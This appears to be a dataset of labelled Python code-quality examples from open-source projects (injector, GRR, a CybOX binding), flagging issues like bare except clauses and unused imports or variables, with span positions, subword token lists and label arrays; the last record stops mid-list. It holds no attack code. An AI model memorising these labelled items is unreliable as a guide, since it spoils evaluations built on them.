[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
alecthomas/injector/injector_test.py
[ { "content": "def test_call_error_is_raised_with_correct_traceback():\n class A(object):\n @inject(x=str)\n def fun_a(self, x='irrelevant'):\n raise TypeError('Something happened')\n\n class B(object):\n @inject(a=A)\n def fun_b(self, a):\n a.fun_a()\n\n injector = Injector()\n b = injector.get(B)\n try:\n b.fun_b()\n except:\n tb = traceback.format_exc()\n assert 'in fun_a' in tb", "metadata": "root.test_call_error_is_raised_with_correct_traceback", "header": "['module', '___EOS___']", "index": 761 } ]
[ { "span": "except:", "start_line": 776, "start_column": 4, "end_line": 776, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "call", "\\u", "error", "\\u", "is", "\\u", "raise", "d\\u", "with", "\\u", "correct", "\\u", "traceback_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "A_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "inject_", "(_", "x_", "=_", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "fun", "\\u", "a_", "(_", "self_", ",_", "x_", "=_", "'", "irre", "lev", "ant", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Type", "Error_", "(_", "'", "Some", "thing", " ", "happ", "ened", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "B_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "inject_", "(_", "a_", "=_", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "fun", "\\u", "b_", "(_", "self_", ",_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "._", "fun", "\\u", "a_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inject", "or_", "=_", "Inject", "or_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "inject", "or_", "._", "get_", "(_", "B_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "b_", "._", "fun", "\\u", "b_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tb_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "in", " ", "fun", "\\u", "a", "'_", "in_", "tb_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
google/grr/grr/gui/api_handlers_regression_data_generate.py
[ { "content": "#!/usr/bin/env python\n\"\"\"Generator of regression tests data for API call handlers.\"\"\"\n\n\n\n# pylint: disable=unused-import,g-bad-import-order\nfrom grr.lib import server_plugins\nfrom grr.gui.api_plugins import tests as tests_lib\n# pylint: enable=unused-import,g-bad-import-order\n\nimport json\n\nfrom grr.gui import api_test_lib\nfrom grr.gui import http_api\n\nfrom grr.lib import flags\nfrom grr.lib import startup\n\n\n\n\n\n\nif __name__ == \"__main__\":\n flags.StartMain(main)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def GroupRegressionTestsByHandler():\n result = {}\n for cls in api_test_lib.ApiCallHandlerRegressionTest.classes.values():\n if getattr(cls, \"handler\", None):\n result.setdefault(cls.handler, []).append(cls)\n\n return result", "metadata": "root.GroupRegressionTestsByHandler", "header": "['module', '___EOS___']", "index": 19 }, { "content": "def main(unused_argv):\n sample_data = {}\n\n tests = GroupRegressionTestsByHandler()\n for handler, test_classes in tests.items():\n\n for test_class in sorted(test_classes, key=lambda cls: cls.__name__):\n if flags.FLAGS.tests and test_class.__name__ not in flags.FLAGS.tests:\n continue\n\n test_instance = test_class()\n\n # Recreate a new data store each time.\n startup.TestInit()\n try:\n test_instance.setUp()\n\n test_instance.Run()\n sample_data.setdefault(handler, []).extend(test_instance.checks)\n finally:\n try:\n test_instance.tearDown()\n except Exception: # pylint: disable=broad-except\n pass\n\n encoded_sample_data = json.dumps(\n sample_data, indent=2, sort_keys=True, separators=(\",\", \": \"),\n cls=http_api.JSONEncoderWithRDFPrimitivesSupport)\n print encoded_sample_data", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 28 } ]
[ { "span": "from grr.lib import server_plugins", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 34 }, { "span": "from grr.gui.api_plugins import tests as tests_lib", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 50 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Generat", "or", " ", "of", " ", "regress", "ion", " ", "tests", " ", "data", " ", "for", " ", "API", " ", "call", " ", "handler", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pylint", ":", " ", "disable", "=", "unu", "sed", "-", "import", ",", "g", "-", "bad", "-", "import", "-", "order_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "grr_", "._", "lib_", "import_", "server", "\\u", "plugins_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "grr_", "._", "gui_", "._", "api", "\\u", "plugins_", "import_", "tests_", "as_", "tests", "\\u", "lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "pylint", ":", " ", "enable", "=", "unu", "sed", "-", "import", ",", "g", "-", "bad", "-", "import", "-", "order_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "grr_", "._", "gui_", "import_", "api", "\\u", "test\\u", "lib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "grr_", "._", "gui_", "import_", "http", "\\u", "api_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "grr_", "._", "lib_", "import_", "flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "grr_", "._", "lib_", "import_", "startup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "flags_", "._", "Start", "Main_", "(_", "main_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "Group", "Regr", "ession", "Test", "s", "By", "Handler_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "cls_", "in_", "api", "\\u", "test\\u", "lib_", "._", "Ap", "i", "Call", "Handle", "r", "Regr", "ession", "Test_", "._", "classes_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "getattr_", "(_", "cls_", ",_", "\"", "handler", "\"_", ",_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "._", "setdefault_", "(_", "cls_", "._", "handler_", ",_", "[_", "]_", ")_", "._", "append_", "(_", "cls_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", "unu", "sed", "\\u", "argv_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sample", "\\u", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "=_", "Group", "Regr", "ession", "Test", "s", "By", "Handler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "handler_", ",_", "test\\u", "classes_", "in_", "tests_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "test\\u", "class_", "in_", "sorted_", "(_", "test\\u", "classes_", ",_", "key_", "=_", "lambda_", "cls_", ":_", "cls_", "._", "\\u\\u", "name\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "flags_", "._", "FLAGS_", "._", "tests_", "and_", "test\\u", "class_", "._", "\\u\\u", "name\\u\\u_", "not_", "in_", "flags_", "._", "FLAGS_", "._", "tests_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "test\\u", "instance_", "=_", "test\\u", "class_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Rec", "reate", " ", "a", " ", "new", " ", "data", " ", "store", " ", "each", " ", "time", "._", "\\u\\u\\uNL\\u\\u\\u_", "startup_", "._", "Test", "Init_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "instance_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "instance_", "._", "Run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sample", "\\u", "data_", "._", "setdefault_", "(_", "handler_", ",_", "[_", "]_", ")_", "._", "extend_", "(_", "test\\u", "instance_", "._", "checks_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test\\u", "instance_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ":_", "#", " ", "pylint", ":", " ", "disable", "=", "broad", "-", "except_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "encode", "d\\u", "sample", "\\u", "data_", "=_", "json_", "._", "dumps_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "sample", "\\u", "data_", ",_", "indent_", "=_", "2_", ",_", "sort", "\\u", "keys_", "=_", "True_", ",_", "separators_", "=_", "(_", "\",\"_", ",_", "\":", " ", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cls_", "=_", "http", "\\u", "api_", "._", "JSO", "NE", "ncode", "r", "With", "RDF", "Primitive", "s", "Support_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "encode", "d\\u", "sample", "\\u", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, lwrite, level, namespace_='CodeObj:', name_='TargetedPlatformsType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Targeted_Platform_ in self.Targeted_Platform:\n Targeted_Platform_.export(lwrite, level, 'CodeObj:', name_='Targeted_Platform', pretty_print=pretty_print)", "metadata": "root.TargetedPlatformsType.exportChildren", "header": "['class', 'TargetedPlatformsType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 128 }, { "content": " def exportChildren(self, lwrite, level, namespace_='CodeObj:', name_='CodeObjectType', fromsubclass_=False, pretty_print=True):\n super(CodeObjectType, self).exportChildren(lwrite, level, 'CodeObj:', name_, True, pretty_print=pretty_print)\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Description is not None:\n self.Description.export(lwrite, level, 'CodeObj:', name_='Description', pretty_print=pretty_print)\n if self.Type is not None:\n self.Type.export(lwrite, level, 'CodeObj:', name_='Type', pretty_print=pretty_print)\n if self.Purpose is not None:\n self.Purpose.export(lwrite, level, 'CodeObj:', name_='Purpose', pretty_print=pretty_print)\n if self.Code_Language is not None:\n self.Code_Language.export(lwrite, level, 'CodeObj:', name_='Code_Language', pretty_print=pretty_print)\n if self.Targeted_Platforms is not None:\n self.Targeted_Platforms.export(lwrite, level, 'CodeObj:', name_='Targeted_Platforms', pretty_print=pretty_print)\n for Processor_Family_ in self.Processor_Family:\n Processor_Family_.export(lwrite, level, 'CodeObj:', name_='Processor_Family', pretty_print=pretty_print)\n if self.Discovery_Method is not None:\n self.Discovery_Method.export(lwrite, level, 'CodeObj:', name_='Discovery_Method', pretty_print=pretty_print)\n if self.Start_Address is not None:\n self.Start_Address.export(lwrite, level, 'CodeObj:', name_='Start_Address', pretty_print=pretty_print)\n if self.Code_Segment is not None:\n self.Code_Segment.export(lwrite, level, 'CodeObj:', name_='Code_Segment', pretty_print=pretty_print)\n if self.Code_Segment_XOR is not None:\n self.Code_Segment_XOR.export(lwrite, level, 'CodeObj:', name_='Code_Segment_XOR', pretty_print=pretty_print)\n if self.Digital_Signatures is not None:\n self.Digital_Signatures.export(lwrite, level, 'CodeObj:', name_='Digital_Signatures', pretty_print=pretty_print)\n if self.Extracted_Features is not None:\n self.Extracted_Features.export(lwrite, level, 'CodeObj:', name_='Extracted_Features', pretty_print=pretty_print)", "metadata": "root.CodeObjectType.exportChildren", "header": "['class', 'CodeObjectType', '(', 'cybox_common', '.', 'ObjectPropertiesType', ')', ':', '___EOS___']", "index": 551 }, { "content": "def parse(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'Code_Object'\n rootClass = CodeObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=rootTag,\n# namespacedef_='',\n# pretty_print=True)\n return rootObj", "metadata": "root.parse", "header": "['module', '___EOS___']", "index": 755 }, { "content": "def parseEtree(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'Code_Object'\n rootClass = CodeObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n rootElement = rootObj.to_etree(None, name_=rootTag)\n content = etree_.tostring(rootElement, pretty_print=True,\n xml_declaration=True, encoding=\"utf-8\")\n sys.stdout.write(content)\n sys.stdout.write('\\n')\n return rootObj, rootElement", "metadata": "root.parseEtree", "header": "['module', '___EOS___']", "index": 772 }, { "content": "def parseString(inString):\n from mixbox.vendor.six import StringIO\n doc = parsexml_(StringIO(inString))\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'Code_Object'\n rootClass = CodeObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=\"Code_Object\",\n# namespacedef_='')\n return rootObj", "metadata": "root.parseString", "header": "['module', '___EOS___']", "index": 790 } ]
[ { "span": "eol_ ", "start_line": 130, "start_column": 12, "end_line": 130, "end_column": 16 }, { "span": "eol_ ", "start_line": 132, "start_column": 12, "end_line": 132, "end_column": 16 }, { "span": "eol_ ", "start_line": 554, "start_column": 12, "end_line": 554, "end_column": 16 }, { "span": "eol_ ", "start_line": 556, "start_column": 12, "end_line": 556, "end_column": 16 }, { "span": "rootTag ", "start_line": 760, "start_column": 8, "end_line": 760, "end_column": 15 }, { "span": "doc ", "start_line": 765, "start_column": 4, "end_line": 765, "end_column": 7 }, { "span": "doc ", "start_line": 782, "start_column": 4, "end_line": 782, "end_column": 7 }, { "span": "rootTag ", "start_line": 796, "start_column": 8, "end_line": 796, "end_column": 15 }, { "span": "doc ", "start_line": 801, "start_column": 4, "end_line": 801, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Target", "ed", "Plat", "forms", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Target", "ed", "Plat", "forms", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Target", "ed", "\\u", "Plat", "form", "\\u_", "in_", "self_", "._", "Target", "ed", "\\u", "Platform_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Target", "ed", "\\u", "Plat", "form", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Target", "ed", "\\u", "Plat", "form", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Code", "Object", "Type_", "(_", "cy", "box", "\\u", "common_", "._", "Object", "Proper", "ties", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Code", "Object", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Code", "Object", "Type_", ",_", "self_", ")_", "._", "export", "Children_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", ",_", "True_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Description_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Description_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Descripti", "on", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Type_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Type_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Type", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Pur", "pose_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Pur", "pose_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Pur", "pose", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Code", "\\u", "Language_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Code", "\\u", "Language_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Code", "\\u", "Lang", "ua", "ge", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", 